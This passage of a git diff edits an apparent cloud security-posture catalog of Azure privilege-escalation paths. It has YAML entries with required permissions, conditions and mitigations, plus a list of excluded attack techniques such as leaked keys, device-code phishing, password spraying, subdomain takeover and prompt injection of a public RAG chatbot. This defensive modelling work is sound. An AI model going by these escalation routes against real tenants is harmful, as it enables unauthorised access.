Blob-level access also requires the exact blob name. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#service-api-keys + source_revision: 0b36331 + technique: Exposed Cognitive Services/OpenAI API key + reason: The regex only finds candidate text in external repositories, logs or client assets. The exact key bytes, exposed + location, Cognitive Services account, enabled local authentication and current key validity are needed to establish service + authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#azure-ai-search-keys + source_revision: 0b36331 + technique: Exposed Azure AI Search query/admin key + reason: An AI Search key grants query or admin data-plane access only after the exposed bytes are matched to an account + and current key type. External artifact content and live validity are absent from the configuration snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-cognitive-services-openai-unauth.md#prompt-injection-against-a-public-ai-chatbot-unauth-via-the-app + source_revision: 0b36331 + technique: Public RAG prompt injection or unmapped permitted-groups returns protected content + reason: The page describes protected-content disclosure through application and RAG behavior. An actual public response, + prompt/tool behavior, connected content, Search permitted-groups mapping and app identity authorization are needed; mere + public chatbot configuration does not prove disclosure. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#anonymous-pull-and-known-repository-enumeration-oci-registry-v2-api + source_revision: 0b36331 + technique: Anonymous pull of image with embedded credentials + reason: Anonymous pull is only image read. The exact public repository/tag, fetched layer bytes, embedded credential owner + and present validity must be verified before inferring another identity. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#registry-usernamepassword-or-tokens + source_revision: 0b36331 + technique: Leaked ACR admin/repository/identity credential + reason: An ACR hostname or credential-shaped string does not grant access. The exposed artifact, accepted admin/repository/identity + credential and its current registry scope must be verified outside the IAM snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md#docker-registry-auth-configuration + source_revision: 0b36331 + technique: Leaked Docker auth or identitytoken configuration + reason: Docker auth is base64 encoding and identitytoken is bearer material. Artifact accessibility, decoded value, registry + match, token scope and present validity are runtime/content facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#basic-information + source_revision: 0b36331 + technique: Device-code phishing yields victim access/refresh tokens + reason: Obtaining a victim token requires the victim to enter the attacker code and approve sign-in, plus policy and consent + success. Victim interaction and issued token are not configuration-granted permissions of a source principal. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#authorization-code-handoff-phishing + source_revision: 0b36331 + technique: Victim returns first-party authorization redirect code + reason: The victim must return a live redirect code. Client, redirect URI, PKCE or client-secret context, expiration, device + policy and token redemption all depend on a particular OAuth transaction and victim behavior. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md#oauth-authorization-response-codes + source_revision: 0b36331 + technique: Code-bearing callback URL leaked in accessible artifact + reason: An artifact may contain a code-shaped callback URL, but a live authorization transaction, matching client/redirect + and PKCE or confidential-client proof are required. Callback log bytes and redemption state are not inventory facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#secrets-in-public-repos-pipeline-yaml-logs--artifacts + source_revision: 0b36331 + technique: Public DevOps project repository/build artifacts expose live secret + reason: A public DevOps project exposes source or build data, not automatically a credential. Exact repository/log/artifact + bytes, anonymous availability, issuer ownership, scope and current validity must be checked. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#azure-devops-pats + source_revision: 0b36331 + technique: Leaked Azure DevOps PAT + reason: PAT syntax does not show that an anonymously accessible artifact contains a live token. Token owner, organization, + scopes, expiry and policy state require the actual value and validation. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-devops-unauth.md#legacycontextual-pat-assignments + source_revision: 0b36331 + technique: Leaked legacy or contextual DevOps PAT + reason: The contextual/legacy regex is only another way to find a PAT candidate. The exact exposed value, owner, organization, + scopes and current validity are required, as for the modern PAT record. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#service-api-keys + source_revision: 0b36331 + technique: Exposed messaging service API key + reason: A candidate API-key string does not prove a messaging credential. Artifact bytes, matching service endpoint/rule, + enabled key authentication and current validity are required. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Exposed Event Grid/Event Hubs shared-key connection string + reason: An Event Grid or Event Hubs endpoint is public metadata. The accessible connection-string bytes, matching authorization + rule, current key and rule rights are needed to prove service authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-event-grid-messaging-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Exposed messaging SAS URL/token + reason: A SAS-looking URL or token is only a candidate. Signature, resource, permission flags, expiry and service-specific + validation must be checked on the exact exposed value. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-iot-hub-dps-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Leaked IoT Hub or DPS shared key + reason: A HostName or ID Scope does not authenticate to IoT Hub or DPS. Exposed key bytes, policy/device scope and present + acceptance must be verified for a particular artifact. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-iot-hub-dps-unauth.md#enrollment-group-keys-and-device-certificates + source_revision: 0b36331 + technique: Leaked DPS enrollment group key or trusted device certificate/private key + reason: An enrollment-group or device identity requires accepted symmetric key material or a trusted X.509 chain with private + key. The exact material, enrollment configuration and live acceptance are content/runtime facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-keyvault-unauth.md#entra-application-secrets-or-identity-tokens + source_revision: 0b36331 + technique: Leaked Entra client secret usable against Key Vault + reason: The page requires an actual valid application secret or private key, mapping to a service principal, vault data-plane + authorization and permitted network path. A regex hit or vault name supplies none of those. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-keyvault-unauth.md#bearer-identity-tokens + source_revision: 0b36331 + technique: Leaked bearer token usable against Key Vault + reason: JWT shape does not establish signature, audience, expiry or bearer possession. The exact token bytes and vault authorization + at redemption time are required to identify a gained subject. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-monitor-alert-phishing.md#azure-monitor-alert-rule + source_revision: 0b36331 + technique: Microsoft-authenticated Monitor alert email used as phishing lure + reason: The attacker creates an alert in their own subscription; victim-tenant privileges arise only if a recipient follows + the phishing payload and completes a separate authentication flow. Email delivery and victim behavior are runtime facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#trusted-first-party-authorization-code-phishing + source_revision: 0b36331 + technique: First-party authorization-code handoff and optional DRS device registration + reason: This first-party code handoff is the same victim-mediated OAuth mechanism as the device-code page, with optional + DRS registration. A returned redeemable code, matching client/redirect/PKCE and device policy are transaction-specific + facts. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-oauth-apps-phishing.md#oauth-authorization-response-codes + source_revision: 0b36331 + technique: Leaked code-bearing callback URL + reason: 'This repeats the leaked callback-code scenario on the device-code page. A code-shaped URL is not enough: transaction + lifetime, matching client/redirect and PKCE or client-secret proof determine token redemption.' +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying.md#password-spray + source_revision: 0b36331 + technique: Guess weak Entra/M365 user password + reason: A successful password spray depends on a guessed current password, account state, MFA and Conditional Access at + authentication time. None is a permission or trust grant held by the attacker in a read-only snapshot. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-power-pages-unauth.md#read-dataverse-records-anonymously-via-the-portal-web-api + source_revision: 0b36331 + technique: Anonymous Dataverse read may disclose stored credentials + reason: Anonymous Dataverse GET can expose records, but the alleged credential pivot requires the actual returned row or + attachment bytes, credential owner and present validity. Portal table permission alone proves no credential. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-power-pages-unauth.md#escalate-anonymous--authenticated-via-open-registration + source_revision: 0b36331 + technique: Open registration grants default Authenticated Users web role + reason: Open registration can grant the portal-local Authenticated Users web role, but the gained table rights require the + site setting, successful signup and current web-role/table-permission associations. The catalog snapshot has no portal-account + or role mapping. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md#shared-key-connection-strings + source_revision: 0b36331 + technique: Leaked Service Bus SharedAccessKey connection string + reason: A Service Bus connection string is usable only if an externally accessible artifact contains the exact current key + for an enabled authorization rule. Namespace configuration alone does not show that leak. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-servicebus-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Leaked Service Bus SAS URL/token + reason: A Service Bus SAS requires the exact token, signature, entity URI, rights and unexpired lifetime; a regex or endpoint + cannot prove accepted delegated authority. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-sql-unauth.md#sql-connection-credentials + source_revision: 0b36331 + technique: Leaked SQL password + reason: The exact SQL password, database principal, firewall route and current database grants are required. The page explicitly + says Allow Azure services does not remove SQL authentication. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#anonymous-blob-reads-and-listings + source_revision: 0b36331 + technique: Public container blob read/list exposes credential-containing blob + reason: The storage page describes the same public blob-read mechanism as the public-blob page. Account/container flags + prove only read availability; actual blob bytes and credential validity are required for escalation. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#azure-sas-urlstokens + source_revision: 0b36331 + technique: Leaked Storage SAS + reason: A Storage SAS grants only its signed data-plane rights when the exact exposed token is valid and unexpired. The + configuration snapshot does not contain exposed token bytes or proof of acceptance. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-storage-unauth.md#storage-account-keys + source_revision: 0b36331 + technique: Leaked Storage AccountKey + reason: A public storage account name is not a key. The exact leaked AccountKey, allowSharedKeyAccess state, artifact accessibility + and current key validity are required. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#the-dangling-cname-lifecycle + source_revision: 0b36331 + technique: Reclaim dangling Azure hostname through attacker subscription + reason: A dangling CNAME can lead to domain content control only after a particular Azure name is actually reclaimable. + Live DNS, reservation/verification locks, region and successful registration are external state not proven by victim configuration. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#impact + source_revision: 0b36331 + technique: Takeover of registered OAuth redirect subdomain captures authorization response + reason: A domain claim does not itself grant an OAuth token. The exact registered redirect URI, live victim authorization + response, client/redirect/PKCE or secret constraints and successful redemption must be observed. +- source: src/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-subdomain-takeover-unauth.md#impact + source_revision: 0b36331 + technique: Taken-over sibling subdomain receives domain-scoped session cookies + reason: Session authority requires a successfully claimed sibling host, a cookie Domain covering it, victim browser traffic + and an unexpired reusable session cookie. Those host/browser/runtime facts are not in the Azure snapshot. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml index 51d4de3685..7c610f7eff 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/adjacent_principals.yaml @@ -33,39 +33,6 @@ - https://learn.microsoft.com/en-us/rest/api/apimanagement/user/generate-sso-url notes: The portal user is an adjacent-plane identity; generating a URL without observed authentication and new authority emits no path. The separate users/token/action returns a shared-access token for portal SSO. -- id: azure-apim-developer-portal-shared-token-external-principal - provider: azure - service: api_management - title: Sign in as one named developer-portal user with a shared token - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction - source_revision: db5b136660 - summary: A user shared-access token can reach the exact requested portal user only when reviewed evidence shows a usable sign-in and a newly allowed action. - requires: - all_of: - - action: Microsoft.ApiManagement/service/users/token/action - scope: '{target.scope}' - target: - kind: azure_external_principal - selector: - azure_external_principal_evidence: true - azure_external_plane: apim_developer_portal - scope: inherited_scope - outcome: credentials - aggregate_as: Exact API Management developer-portal user reached by shared token - conditions: - - id: exact_portal_user_shared_token - description: Reviewed evidence must bind the requested user, developer portal, returned usable token, authenticated portal user, prior denial, and newly allowed portal or API-subscription action. - blockers: - - azure_deny_assignment - confidence: conditional - severity: high - mitigation: Restrict users/token/action and audit developer-portal user-token generation. - references: - - https://learn.microsoft.com/en-us/rest/api/apimanagement/user/get-shared-access-token - - https://learn.microsoft.com/en-us/azure/api-management/developer-portal-faq - - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-setup-delegation - notes: The token operation is separate from generateSsoUrl/action. Microsoft documents shared-token sign-in for self-hosted portals and delegated sign-in to managed portals. Without reviewed proof that the portal accepted it for the named user and granted a new action, no path is emitted. - - id: azure-datafactory-github-oauth-external-principal provider: azure service: data_factory @@ -129,3 +96,35 @@ - https://learn.microsoft.com/en-us/rest/api/eventgrid/controlplane/permission-bindings/create-or-update?view=rest-eventgrid-controlplane-2025-02-15 - https://learn.microsoft.com/en-us/azure/event-grid/mqtt-client-groups notes: The typed proof requires a successful new MQTT authorization with the exact owned client, matching client group, binding, topic space and Publisher or Subscriber action. Existing clients and groups are valid; creating new ones also requires their respective write permissions, but successful reviewed evidence proves that step when used. +- id: azure-apim-developer-portal-shared-token-external-principal + provider: azure + service: api_management + title: Sign in as one named developer-portal user with a shared token + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md#microsoftapimanagementserviceuserstokenaction + source_revision: db5b136660 + summary: A user shared-access token can reach the exact requested portal user only when reviewed evidence shows a usable sign-in and a newly allowed action. + requires: + all_of: + - action: Microsoft.ApiManagement/service/users/token/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: apim_developer_portal + scope: inherited_scope + outcome: credentials + aggregate_as: Exact API Management developer-portal user reached by shared token + conditions: + - id: exact_portal_user_shared_token + description: Reviewed evidence must bind the requested user, developer portal, returned usable token, authenticated portal user, prior denial, and newly allowed portal or API-subscription action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict users/token/action and audit developer-portal user-token generation. + references: + - https://learn.microsoft.com/en-us/rest/api/apimanagement/user/get-shared-access-token + - https://learn.microsoft.com/en-us/azure/api-management/developer-portal-faq + - https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-setup-delegation + notes: The token operation is separate from generateSsoUrl/action. Microsoft documents shared-token sign-in for self-hosted portals and delegated sign-in to managed portals. Without reviewed proof that the portal accepted it for the named user and granted a new action, no path is emitted. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml index 6baf743ffd..a2408bb619 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/analysis_services.yaml @@ -4,7 +4,7 @@ # are excluded unless verified content establishes a usable credential for a named target principal. # Canonical policy: peaso/privesc/catalog_policy.yaml # Azure Analysis Services techniques (declarative only). -# Source: hacktricks-cloud az-analysis-services-privesc.md (rev db5b136660). +# Source: hacktricks-cloud az-analysis-services-privesc.md (rev 171e422). - id: azure-analysisservices-server-admin-write provider: azure diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml index 82b6962972..f4ba149007 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml @@ -42,37 +42,6 @@ - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin notes: Only users with an active tenant-wide Global Administrator assignment can call elevateAccess. PIM eligibility alone needs activation and is not an active grant. Elevation yields User Access Administrator at root scope; the source can then assign itself Owner. -- id: azure-authorization-elevateaccess-pim-eligible-global-admin - provider: azure - service: authorization - title: Activate an eligible Global Administrator role and elevate Azure access - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationelevateaccessaction - source_revision: 171e422 - summary: A user eligible for tenant-wide Global Administrator can activate that role, then grant itself User Access Administrator at root scope. - source_kind: azure_user - requires: - all_of: - - entra_pim_eligible_role: "dir:62e90394-69f5-4237-9190-012177145e10" - directory_scope: "dir:/" - target: - kind: azure_scope_owner - selector: - any_principal_in_scope: true - azure_root_scope_only: true - scope: tenant - aggregate_as: "Azure root scope (/) of the tenant" - conditions: - - id: pim_activation_requirements - description: The user must satisfy any MFA, approval, or other PIM activation requirements before calling elevateAccess. - blockers: [] - confidence: conditional - severity: critical - mitigation: Require PIM approval for eligible Global Administrator assignments and monitor role activation and root-scope elevation. - references: - - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin - - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-activate-role - notes: A current tenant-wide eligibility is required. Eligibility alone is a conditional path and never counts as an active Global Administrator grant. - - id: azure-managedidentity-federated-credential-write provider: azure service: authorization @@ -139,3 +108,33 @@ - https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#configure-the-managed-identity - https://azure.github.io/enterprise-azure-policy-as-code/policy-assignments/ notes: No roleAssignments/write is needed. The user-assigned identity keeps its existing role assignments; only the portal auto-grants roleDefinitionIds, and SDK or REST assignments do not. Using a user-assigned identity on a policy assignment needs Managed Identity Operator, which is userAssignedIdentities/assign/action on the identity (EPAC documentation and the ARM linked-access check). A new system-assigned identity has no roles unless the source can also create role assignments, which azure-authorization-roleassignments-write already covers. Repointing an existing assignment that has a system-assigned identity is not modelled, because it is not verified whether policyDefinitionId can change on update. +- id: azure-authorization-elevateaccess-pim-eligible-global-admin + provider: azure + service: authorization + title: Activate an eligible Global Administrator role and elevate Azure access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationelevateaccessaction + source_revision: 171e422 + summary: A user eligible for tenant-wide Global Administrator can activate that role, then grant itself User Access Administrator at root scope. + source_kind: azure_user + requires: + all_of: + - entra_pim_eligible_role: "dir:62e90394-69f5-4237-9190-012177145e10" + directory_scope: "dir:/" + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + azure_root_scope_only: true + scope: tenant + aggregate_as: "Azure root scope (/) of the tenant" + conditions: + - id: pim_activation_requirements + description: The user must satisfy any MFA, approval, or other PIM activation requirements before calling elevateAccess. + blockers: [] + confidence: conditional + severity: critical + mitigation: Require PIM approval for eligible Global Administrator assignments and monitor role activation and root-scope elevation. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-activate-role + notes: A current tenant-wide eligibility is required. Eligibility alone is a conditional path and never counts as an active Global Administrator grant. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml index 227e6a28af..b7f2537232 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/batch.yaml @@ -5,7 +5,7 @@ # Canonical policy: peaso/privesc/catalog_policy.yaml # Azure Batch techniques (declarative only). # Source: hacktricks-cloud az-batch-privesc.md (rev 171e422, re-verified). -# Pool identities are user-assigned only; {target.host_resource} resolves to the pool host resource. +# Pool identities are user-assigned only; {target.host_resource} is the Batch account owning the pool. - id: azure-batch-shared-key-task-submission provider: azure diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml index 2dc66045d8..a83e136086 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/data_factory.yaml @@ -5,7 +5,5 @@ # Canonical policy: peaso/privesc/catalog_policy.yaml # Azure Data Factory techniques (declarative only). # Source: hacktricks-cloud az-data-factory-privesc.md (rev 171e422). -# getDataPlaneAccess/action only issues read-only tokens (permissions: "r"). -# It cannot run a pipeline or obtain a factory managed-identity token by itself. -# Keep the read-only operation documented in HackTricks Cloud; it is not an -# active privilege-escalation edge. + +[] diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml index 0e81135c4b..6246c20286 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/devtest_labs.yaml @@ -5,7 +5,8 @@ # Canonical policy: peaso/privesc/catalog_policy.yaml # Azure DevTest Labs techniques (declarative only). # Source: hacktricks-cloud az-devtest-labs-privesc.md (rev 171e422). -# A lab VM is joined to its backing compute VM by properties.computeId. +# A lab VM (Microsoft.DevTestLab/labs/virtualMachines) is backed by a compute VM; the link is not collected, +# so the target uses azure_host_linked_to_pivot (unknown until collected). - id: azure-devtestlabs-apply-artifacts provider: azure diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml index 6893ed9785..0df42ee3a2 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_governance.yaml @@ -3,17 +3,14 @@ # role/group membership, or additional permissions granted to the caller. Secret/config reads alone # are excluded unless verified content establishes a usable credential for a named target principal. # Canonical policy: peaso/privesc/catalog_policy.yaml -# Entra ID Governance (Entitlement Management) techniques. +# Entra ID Governance (Entitlement Management) techniques (declarative only). # Source: hacktricks-cloud az-entra-id-governance-privesc.md, az-persistence/az-entra-id-governance-persistence.md (rev 171e422). # Catalog roles (Catalog owner, Access package manager, Access package assignment manager) are not Entra directory -# roles. Native collection records entitlement_role_assignment {principalId, roleDefinitionId, appScopeId} -# and entitlement_catalog_resource {catalogId, originId, originSystem, roles}. -# Facts still needed for some entries (not collected yet -> unknown): +# roles. Facts needed (not collected yet -> unknown): entitlement_role_assignment {principalId, roleDefinitionId, +# roleDefinition.displayName, appScopeId}, entitlement_catalog_resource {catalogId, originId}, # entitlement_assignment_policy {accessPackageId, allowedTargetScope, automaticRequestSettings, specificAllowedTargets}, -# The automatic-assignment and self-grant entries collect exact entitlement_access_package_resource -# {accessPackageId, originId, roleName, catalogId} facts. -# Only resources already in a catalog are reachable: adding a new group or app to a catalog -# needs ownership or write permission on that resource. +# entitlement_access_package_resource {accessPackageId, originId}. Only resources already in a catalog are reachable: +# adding a new group or app to a catalog needs ownership / write on that resource. - id: azure-entraid-entitlement-catalog-self-grant-group provider: azure diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml index fe25138d99..eb92d9c701 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml @@ -100,43 +100,6 @@ - https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/admin-units-restricted-management#programmability notes: Microsoft states Group.ReadWrite.All does not work on role-assignable groups (RoleManagement.ReadWrite.Directory is required). Microsoft 365 groups cannot contain service principals, and mail-enabled security groups are read-only in Graph. A separate controlled-user path covers an app that lacks application-write permission but can add a user it controls. -- id: azure-entraid-graph-group-readwrite-all-controlled-user - provider: azure - service: entraid - title: Graph group permissions add a controlled user to groups - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions - source_revision: 171e422 - summary: A service principal with Graph group-write permission can add a user it controls to a cloud-managed security or Microsoft 365 group outside a restricted administrative unit. - source_selector: - source_reaches_kind: azure_user - source_reaches_user_outside_target_group: true - requires: - any_of: - - - graph_app_permission: Group.ReadWrite.All - - - graph_app_permission: GroupMember.ReadWrite.All - - - graph_app_permission: Directory.ReadWrite.All - target: - kind: entra_group - selector: - entra_group_role_assignable: false - entra_group_membership_type: assigned - entra_group_membership_cloud_writable: true - entra_graph_group_user_membership: true - entra_target_not_in_restricted_au: true - scope: tenant - aggregate_as: "Groups that could receive a user controlled by {source}" - conditions: - - id: controlled_user_not_already_member - description: The controlled user must not already have the group's access. - blockers: - - restricted_management_au - confidence: conditional - severity: high - mitigation: Limit Graph group-write grants and protect privileged groups with role-assignable or restricted administrative unit controls. - references: - - https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0 - notes: The source-to-user chain is required; group permissions alone do not establish control of a user. - - id: azure-entraid-group-owners-update provider: azure service: entraid @@ -252,3 +215,39 @@ references: - https://learn.microsoft.com/en-us/graph/api/group-update?view=graph-rest-1.0 notes: Dynamic groups admit users or devices, not service principals. The source must be an enabled user outside the group or have a separately evidenced path to control one; that user can be selected with a user.objectId membership rule. Role-assignable groups cannot be dynamic, so directory roles are never reached directly; the gain is the group's Azure RBAC or app access. Graph application group-write permissions may update membershipRule outside restricted management AUs; membership processing and licensing remain conditional. +- id: azure-entraid-graph-group-readwrite-all-controlled-user + provider: azure + service: entraid + title: Graph group permissions add a controlled user to groups + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#sensitive-graph-permissions + source_revision: 171e422 + summary: A service principal with Graph group-write permission can add a user it controls to a cloud-managed security or Microsoft 365 group outside a restricted administrative unit. + source_selector: + source_reaches_kind: azure_user + source_reaches_user_outside_target_group: true + requires: + any_of: + - - graph_app_permission: Group.ReadWrite.All + - - graph_app_permission: GroupMember.ReadWrite.All + - - graph_app_permission: Directory.ReadWrite.All + target: + kind: entra_group + selector: + entra_group_role_assignable: false + entra_group_membership_type: assigned + entra_group_membership_cloud_writable: true + entra_graph_group_user_membership: true + entra_target_not_in_restricted_au: true + scope: tenant + aggregate_as: "Groups that could receive a user controlled by {source}" + conditions: + - id: controlled_user_not_already_member + description: The controlled user must not already have the group's access. + blockers: + - restricted_management_au + confidence: conditional + severity: high + mitigation: Limit Graph group-write grants and protect privileged groups with role-assignable or restricted administrative unit controls. + references: + - https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0 + notes: The source-to-user chain is required; group permissions alone do not establish control of a user. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml index 723b35a1bb..aeae29ff95 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/kubernetes.yaml @@ -331,35 +331,6 @@ - https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/authentication_and_authorization/removing-kubeadmin notes: The modeled path is conditional because Azure RBAC does not show whether the kubeadmin secret remains or the caller can reach the API server. The separate listAdminCredentials/action admin-kubeconfig path and hosted-control-plane preview (hcpOpenShiftClusters) are not modeled here. -- id: azure-aro-list-admin-credentials - provider: azure - service: kubernetes - title: Retrieve the ARO administrator kubeconfig - source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials - source_revision: 171e422 - summary: The source can obtain the administrator kubeconfig for the ARO cluster without the kubeadmin password. - requires: - all_of: - - action: Microsoft.RedHatOpenShift/openShiftClusters/listAdminCredentials/action - scope: "{target.scope}" - target: - kind: k8s_cluster_admin - selector: - any_principal_in_scope: true - scope: cluster - aggregate_as: "Cluster admin of ARO cluster {target.scope}" - conditions: - - id: api_server_reachable - description: The caller must reach the Kubernetes API server with the administrator kubeconfig. - blockers: [] - confidence: conditional - severity: critical - mitigation: Restrict listAdminCredentials/action on ARO clusters to administrators who need emergency cluster access. - references: - - https://learn.microsoft.com/en-us/azure/openshift/howto-kubeconfig - - https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/containers#microsoftredhatopenshift - notes: This route does not require the kubeadmin user. The result remains conditional on API server reachability. The hosted-control-plane preview (hcpOpenShiftClusters) is not modeled. - - id: azure-aks-flux-configuration-write provider: azure service: kubernetes @@ -395,3 +366,31 @@ references: - https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/conceptual-gitops-flux2 notes: The writable configuration must belong to the exact AKS or Arc-enabled cluster. Parent-scoped write can create a cluster-scoped configuration; a child-only grant needs an inventoried existing configuration. Legacy source-control availability remains conditional. +- id: azure-aro-list-admin-credentials + provider: azure + service: kubernetes + title: Retrieve the ARO administrator kubeconfig + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-kubernetes-privesc.md#azure-red-hat-openshift-aro-cluster-credentials + source_revision: 171e422 + summary: The source can obtain the administrator kubeconfig for the ARO cluster without the kubeadmin password. + requires: + all_of: + - action: Microsoft.RedHatOpenShift/openShiftClusters/listAdminCredentials/action + scope: "{target.scope}" + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Cluster admin of ARO cluster {target.scope}" + conditions: + - id: api_server_reachable + description: The caller must reach the Kubernetes API server with the administrator kubeconfig. + blockers: [] + confidence: conditional + severity: critical + mitigation: Restrict listAdminCredentials/action on ARO clusters to administrators 